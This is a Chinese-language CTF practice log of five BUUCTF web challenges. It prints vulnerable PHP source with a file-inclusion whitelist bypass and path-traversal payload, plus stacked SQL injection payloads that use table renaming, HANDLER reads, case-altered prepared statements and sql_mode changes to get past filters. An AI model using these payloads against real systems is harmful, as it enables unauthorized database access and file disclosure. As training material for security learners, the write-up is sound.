0%

buu刷题记录1

(吐槽一波,由于这些题曾经做过这次是第二次做,浏览器智能得还留着我上一次操作的payload,导致我输入的时候payload直接就弹出来了/捂脸)

0x01 [HCTF 2018] Warm Up

这个题考察CVE-2018-12613。拿到题目,f12发现给了source.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

审计代码发现有两个文件,其中hint.php提示了flag的位置,source.php就是源代码。其他文件的话都会返回you can't see it。但是仔细审计代码发现$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));这段代码存在逻辑漏洞,只需要在这两个满足白名单的文件后面加个?后就可以绕过了。

故构造如下payload:

1
file=source.php?../../../../../../../ffffllllaaaagggg.php

成功获得flag。

0x02 [强网杯 2019] 随便注

这个题考察堆叠注入。先测试1' or 1=1 #发现可以正常返回,可以知道是单引号闭合,随后尝试union select注入发现被过滤且无法绕过。但是发现这里可以进行堆叠注入。

1
2
3
4
1';show databases; #   # 查看数据库
1';show tables; # # 查看数据表
1';show columns from `words` # # 查看words表中的所有列名
1';show columns from `1919810931114514` # # 查看该表中的所有列名

随后发现在1919810931114514表中存在flag,但我们查询的是words表。故尝试修改表名来完成查询。修改words表为words1,1919810931114514表为words,然后修改列名,然后在输入万能密码查询就能得到flag了。

1
1';rename table `words` to `words1`;rename table `191910931114514` to `words`;alter table `words` change `flag` `id` varchar(100); #

不过这个题还有其他做法,可以通过mysql特有的handler语句完成查询。

1
1';handler `1919810931114514` open;handler `1919810931114514` read first; #    #如果没读出来就handler `1919810931114514 read next;一直往下读,读到flag为止。

或者通过预处理:

1
1';sEt a=CONCAT('se','lect * from `1919810931114514`;');prePare flag from a;execute flag; #    # set和prepare被过滤了,不过这个可以通过大小写绕过

0x03 [SUCTF 2019] EasySQL

这个题也是堆叠注入,但是handler被过滤,且被限制了40位。前面的方法无法再使用了。测试一下发现,输入1,2,3等数字返回1,输入0或者非数字什么都不返回。猜测使用了||。然后发现通过修改sql_mode系统变量可以改变||的功能,把||的功能从运算符变成字符串拼接符。

sql_mode可以设置的值有:ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,PIPES_AS_CONCAT,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

sql_mode主要关注两个值,PIPES_AS_CONCAT即将||当作字符串拼接符,STRICT_TRANS_TABLES即将||当作逻辑或运算符。

ok接下来就简单了。将sql_mode设置成PIPES_AS_CONCAT,然后查询就完事。

1
1';set sql_mode=PIPES_AS_CONCAT;select 1; #

一个非预期。这个题没有过滤,故可以直接\,1,这样sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag。直接查询flag表所有内容。

0x04 [极客大挑战 2019] EasySQL

万能密码登录即可。

0x05 [GYCTF 2020] Blacklist

这个题set alter被过滤了且无法绕过,于是就只剩下使用handler进行查询的方法了。payload和强网杯那个一样,不再赘述。